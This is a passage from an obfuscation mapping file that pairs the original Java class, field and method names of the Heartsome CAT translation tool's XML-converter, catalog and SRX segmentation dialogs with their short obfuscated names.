okPressed() -> okPressed + void setInitEditData(net.heartsome.cat.ts.ui.advanced.model.ElementBean) -> a + int validrepeat(java.lang.String) -> cN + net.heartsome.cat.ts.ui.advanced.model.ElementBean getElementBean(java.lang.String) -> cO + net.heartsome.cat.ts.ui.advanced.model.ElementBean getCurrentElement() -> go + boolean validNameNull(java.lang.String) -> cP + org.eclipse.swt.widgets.Combo access$0(net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditElementOfXmlConvertDialog) -> a + org.eclipse.swt.widgets.Combo access$1(net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditElementOfXmlConvertDialog) -> b + org.eclipse.swt.widgets.Text access$2(net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditElementOfXmlConvertDialog) -> c +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditElementOfXmlConvertDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.h: + net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditElementOfXmlConvertDialog this$0 -> Cn + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.i: + boolean isAdd -> Cd + org.eclipse.swt.widgets.Text rootTxt -> Co + org.eclipse.swt.widgets.Label rootTipLbl -> Cp + java.lang.String curRootStr -> Cq + org.eclipse.swt.graphics.Image icon -> Cr + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createRootTxt(org.eclipse.swt.widgets.Composite) -> r + void okPressed() -> okPressed + boolean setInitEditData(java.lang.String) -> cQ + boolean close() -> close + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog) -> a + org.eclipse.swt.widgets.Label access$1(net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog) -> b + boolean access$2(net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog) -> c + java.lang.String access$3(net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog) -> d +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.j: + net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog this$0 -> Cs + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.k: + net.heartsome.cat.ts.ui.advanced.dialogs.AddOrEditXmlConvertConfigDialog this$0 -> Cs + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg -> net.heartsome.cat.ts.ui.advanced.dialogs.l: + org.eclipse.swt.widgets.Text analysisTxt -> Ct + org.eclipse.swt.widgets.Button okBtn -> Cu + java.lang.String curAnalysisXmlLocation -> Cv + org.eclipse.swt.graphics.Image icon -> Cr + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createRootTxt(org.eclipse.swt.widgets.Composite) -> r + void okPressed() -> okPressed + void analysisXml(java.lang.String) -> cR + boolean close() -> close + java.lang.String getEncoding(java.io.File) -> g + void copyFile(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> a + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg) -> a + void access$1(net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg,java.lang.String) -> a +net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.m: + net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg this$0 -> Cw + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.n: + net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg this$0 -> Cw + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.o: + net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg this$0 -> Cw + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.p: + net.heartsome.cat.ts.ui.advanced.dialogs.AnalysisXmlConvertConfigDialg this$0 -> Cw + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.q: + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.swt.widgets.Button editBtn -> Cz + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.core.resources.IWorkspaceRoot root -> root + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler adHandler -> Ca + org.eclipse.swt.widgets.Table table -> table + java.lang.String catalogXmlLocation -> Cb + boolean isResizable() -> isResizable + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + java.lang.String[][] getCatalogValue() -> gp + void initListener() -> initListener + void editCatalog() -> gq + org.eclipse.core.resources.IWorkspaceRoot access$0(net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog) -> a + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler access$1(net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog) -> b + org.eclipse.jface.viewers.TableViewer access$2(net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog) -> c + org.eclipse.swt.widgets.Table access$3(net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog) -> d + java.lang.String access$4(net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog) -> e +net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.r: + net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog this$0 -> CA + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog$1$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.s: + net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog$1 this$1 -> CB + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.t: + net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog this$0 -> CA + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.u: + net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog this$0 -> CA + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.v: + net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog this$0 -> CA + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog$5 -> net.heartsome.cat.ts.ui.advanced.dialogs.w: + net.heartsome.cat.ts.ui.advanced.dialogs.CatalogManagerDialog this$0 -> CA + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.x: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.swt.widgets.Table table -> table + java.util.List elementsList -> Cl + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler handler -> CC + java.lang.String curConvertXml -> CD + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button editBtn -> Cz + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.core.resources.IWorkspaceRoot root -> root + org.eclipse.swt.widgets.Text rootTxt -> Co + org.eclipse.swt.widgets.Label rootTipLbl -> Cp + void createTable(org.eclipse.swt.widgets.Composite) -> createTable + void createTableColumns() -> gr + void refreshTable(net.heartsome.cat.ts.ui.advanced.model.ElementBean) -> b + void initListener() -> initListener + void createConfigXML(java.lang.String) -> cS + java.lang.String getCurentConverXML() -> gs + void editElement() -> gt +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.y: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$1$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.z: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$1 this$1 -> CF + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$10 -> net.heartsome.cat.ts.ui.advanced.dialogs.aa: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.ab: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.ac: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.ad: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$5 -> net.heartsome.cat.ts.ui.advanced.dialogs.ae: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$6 -> net.heartsome.cat.ts.ui.advanced.dialogs.af: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$7 -> net.heartsome.cat.ts.ui.advanced.dialogs.ag: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$8 -> net.heartsome.cat.ts.ui.advanced.dialogs.ah: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$9 -> net.heartsome.cat.ts.ui.advanced.dialogs.ai: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder -> net.heartsome.cat.ts.ui.advanced.dialogs.aj: + int name_ID -> CH + int type_ID -> CI + int inlineType_ID -> CJ + int attributes_ID -> CK + int remainSpace_ID -> CL + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder name_ASC -> CM + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder name_DESC -> CN + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder type_ASC -> CO + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder type_DESC -> CP + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder inlineType_ASC -> CQ + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder inlineType_DESC -> CR + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder attributes_ASC -> CS + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder attributes_DESC -> CT + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder remainSpace_ASC -> CU + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$ElementsOrder remainSpace_DESC -> CV + int sortType -> CW + int compare(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog$TViewerLabelProvider -> net.heartsome.cat.ts.ui.advanced.dialogs.ak: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConvertManagerDialog this$0 -> CE + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.al: + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button editBtn -> Cz + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.swt.widgets.Button analysisBtn -> CX + java.lang.String configXmlFolderLocation -> CY + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.swt.widgets.Table table -> table + org.eclipse.core.resources.IWorkspaceRoot root -> root + boolean isResizable() -> isResizable + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createHelpToolItem(org.eclipse.swt.widgets.Composite) -> s + org.eclipse.swt.widgets.Control createButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initListener() -> initListener + void refreshTable() -> refreshTable + java.lang.String[][] getXmlConfigFilesInfo() -> gv + void editConfigXml() -> gw + void setTableSelection(java.lang.String) -> cT + org.eclipse.jface.viewers.TableViewer access$0(net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog) -> a + org.eclipse.core.resources.IWorkspaceRoot access$1(net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog) -> b +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.am: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$10 -> net.heartsome.cat.ts.ui.advanced.dialogs.an: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$11 -> net.heartsome.cat.ts.ui.advanced.dialogs.ao: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + boolean accept(java.io.File,java.lang.String) -> accept +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.ap: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.aq: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.ar: + boolean asc -> CG + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$5 -> net.heartsome.cat.ts.ui.advanced.dialogs.as: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$5$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.at: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$5 this$1 -> Da + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$6 -> net.heartsome.cat.ts.ui.advanced.dialogs.au: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$7 -> net.heartsome.cat.ts.ui.advanced.dialogs.av: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$8 -> net.heartsome.cat.ts.ui.advanced.dialogs.aw: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$9 -> net.heartsome.cat.ts.ui.advanced.dialogs.ax: + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog this$0 -> CZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$XmlConvertOrder -> net.heartsome.cat.ts.ui.advanced.dialogs.ay: + int index_ID -> Db + int xmlName_ID -> Dc + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$XmlConvertOrder index_ASC -> Dd + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$XmlConvertOrder index_DESC -> De + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$XmlConvertOrder xmlName_ASC -> Df + net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog$XmlConvertOrder xmlName_DESC -> Dg + int sortType -> CW + int compare(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditLangRuleOfSrxDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.a: + boolean isAdd -> Cd + java.util.List langRulesList -> Dh + org.eclipse.swt.widgets.Button isBreakBtn -> Di + org.eclipse.swt.widgets.Text preBreakTxt -> Dj + org.eclipse.swt.widgets.Text afterBreakTxt -> Dk + net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean curLangRuleBean -> Dl + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + void setEditInitData(net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean) -> a + net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean getCurLangRuleBean() -> gx +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditMapRuleOfSrxDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.b: + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler handler -> CC + boolean isAdd -> Cd + org.eclipse.swt.widgets.Text langModelTxt -> Dm + org.eclipse.swt.widgets.Combo langRuleNameCmb -> Dn + java.util.List mapRulesList -> Do + net.heartsome.cat.ts.ui.advanced.model.MapRuleBean curMapRuleBean -> Dp + java.lang.String srxLocation -> Dq + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + net.heartsome.cat.ts.ui.advanced.model.MapRuleBean getCurMapRuleBean() -> gy + void setEditInitData(net.heartsome.cat.ts.ui.advanced.model.MapRuleBean) -> a +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.c: + java.lang.String curSrxName -> Dr + org.eclipse.jface.viewers.TableViewer langTableViewer -> Ds + org.eclipse.swt.widgets.Table langTable -> Dt + org.eclipse.swt.widgets.Button langAddBtn -> Du + org.eclipse.swt.widgets.Button langEditBtn -> Dv + org.eclipse.swt.widgets.Button langDeleteBtn -> Dw + org.eclipse.jface.viewers.TableViewer mapTableViewer -> Dx + org.eclipse.swt.widgets.Table mapTable -> Dy + org.eclipse.swt.widgets.Button mapAddBtn -> Dz + org.eclipse.swt.widgets.Button mapEditBtn -> DA + org.eclipse.swt.widgets.Button mapDeleteBtn -> DB + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler handler -> CC + org.eclipse.core.resources.IWorkspaceRoot root -> root + java.lang.String srxLocation -> Dq + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createLanguageGroup(org.eclipse.swt.widgets.Composite,org.eclipse.swt.layout.GridData,org.eclipse.swt.layout.GridLayout) -> a + void createMapGroup(org.eclipse.swt.widgets.Composite,org.eclipse.swt.layout.GridData,org.eclipse.swt.layout.GridLayout) -> b + void okPressed() -> okPressed + void initListener() -> initListener + void refreshTableWidth(org.eclipse.swt.widgets.Table) -> a + void refreshLangTable(java.lang.String) -> cU + void refreshMapTable(java.lang.String) -> cV + void editLangRules() -> gz + void editMapRules() -> gA + void access$0(net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog) -> a + net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler access$1(net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog) -> b + java.lang.String access$2(net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog) -> c + void access$3(net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog,java.lang.String) -> a + org.eclipse.jface.viewers.TableViewer access$4(net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog) -> d + void access$5(net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog,java.lang.String) -> b + org.eclipse.jface.viewers.TableViewer access$6(net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog) -> e +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.d: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$2 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.e: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$3 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.f: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$4 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.g: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$5 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.h: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$6 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.i: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$7 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.j: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$8 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.k: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$9 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.l: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog this$0 -> DC + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$9$1 -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.m: + net.heartsome.cat.ts.ui.advanced.dialogs.srx.AddOrEditSrxConfigDialog$9 this$1 -> DD + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.advanced.dialogs.srx.CreateOrUpdataSRXDialog -> net.heartsome.cat.ts.ui.advanced.dialogs.srx.n: + org.slf4j.Logger LOGGER -> LOGGER + boolean isAdd -> Cd + org.eclipse.swt.widgets.Text nameTxt -> Cg + org.eclipse.core.resources.IWorkspaceRoot root -> root + java.lang.String curSrxName -> Dr + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + java.lang.String 